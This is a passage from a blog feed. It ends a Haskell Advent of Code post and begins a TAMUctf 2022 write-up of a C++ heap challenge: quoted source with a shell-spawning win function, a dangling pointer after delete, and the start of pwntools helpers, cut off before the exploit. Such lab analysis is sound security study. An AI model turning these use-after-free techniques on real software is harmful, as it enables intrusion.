&lt;span class=&quot;token hvariable&quot;&gt;part2_intersect&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;cmds&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content>
        
          <category>programming</category>
        
          <category>aoc</category>
        
          <category>haskell</category>
        
          <category>functional</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>TAMUctf 2022 – CTF Sim</title>
        <description>Oops, your vpointer was redirected.</description>
        <link href="https://trebledj.me/posts/tamuctf-2022-ctf-sim/"/>
        <updated>2022-04-24T00:00:00Z</updated>
        <id>https://trebledj.me/posts/tamuctf-2022-ctf-sim/</id>
        <content xml:lang="en" type="html">&lt;h3 id=&quot;challenge-description&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-ctf-sim/#challenge-description&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Challenge Description&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Wanna take a break from the ctf to do another ctf?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;write-up&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-ctf-sim/#write-up&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Write-Up&lt;/h3&gt;
&lt;p&gt;Ooooh, a C++ challenge. And it&#39;s about CTFs. Seems like a fun little exercise.&lt;/p&gt;
&lt;h4 id=&quot;preliminary-observations-and-analysis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-ctf-sim/#preliminary-observations-and-analysis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Preliminary Observations and Analysis&lt;/h4&gt;
&lt;p&gt;We&#39;re provided a C++ file and its compiled ELF. Upon an initial browse through the source, we see something interesting:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; win_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;win&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;A &lt;code&gt;win&lt;/code&gt; function is already provided, along with a global variable &lt;code&gt;win_addr&lt;/code&gt; storing the address of &lt;code&gt;win&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now on to the fun stuff. We&#39;re given six classes with the &lt;code&gt;solve&lt;/code&gt; virtual function: one base class and the other five inheriting and overriding &lt;code&gt;solve&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;challenges&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;forensics&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token base-clause&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;challenges&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;reversing&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token base-clause&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;challenges&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token base-clause&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;challenges&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;web&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token base-clause&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;challenges&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;crypto&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token base-clause&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;challenges&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We then have three action functions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;downloadChallenge&lt;/code&gt;, which &lt;code&gt;new&lt;/code&gt;s one of the five derived classes,&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// -- Read choice, index from input. --&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;choice &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    downloaded&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; forensics&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;choice &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    downloaded&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; reversing&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    downloaded&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; crypto&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;solveChallenge&lt;/code&gt;, which selects a downloaded challenge, then calls &lt;code&gt;-&amp;gt;solve()&lt;/code&gt; and &lt;code&gt;delete&lt;/code&gt;s it,&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// -- Read index from input. --&lt;/span&gt;
downloaded&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;solve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;delete&lt;/span&gt; downloaded&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;and&lt;/li&gt;
&lt;li&gt;&lt;code&gt;submitWriteup&lt;/code&gt;, which calls &lt;code&gt;malloc&lt;/code&gt;s with custom size.&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// -- Read length from input. --&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; writeup &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;fgets&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;writeup&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; length&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;stdin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Read writeup payload from input.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Interestingly, the &lt;code&gt;malloc&lt;/code&gt;ed chunk isn&#39;t &lt;code&gt;free&lt;/code&gt;d anywhere! Also in &lt;code&gt;solveChallenge&lt;/code&gt;, the value of &lt;code&gt;downloaded[i]&lt;/code&gt; isn&#39;t removed after being &lt;code&gt;delete&lt;/code&gt;d... This is starting to smell like a &lt;a href=&quot;https://web.archive.org/web/20231001021419/https://heap-exploitation.dhavalkapil.com/attacks/double_free&quot;&gt;double free&lt;/a&gt; or use-after-free vulnerability. But is it?&lt;/p&gt;
&lt;p&gt;Let&#39;s start by defining helper functions in Python to help us perform actions:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;download_chal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;category&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; save_index&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; category &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; save_index &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;bad bad&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;1&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;category&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;save_index&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve_chal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; index &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;bad bad&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;2&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;submit_writeup&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; length&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; length &lt;span class=&quot;token keyword&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        length &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;=&lt;/span&gt; length&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;your math bad bad&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;&#92;n&#39;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; content&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
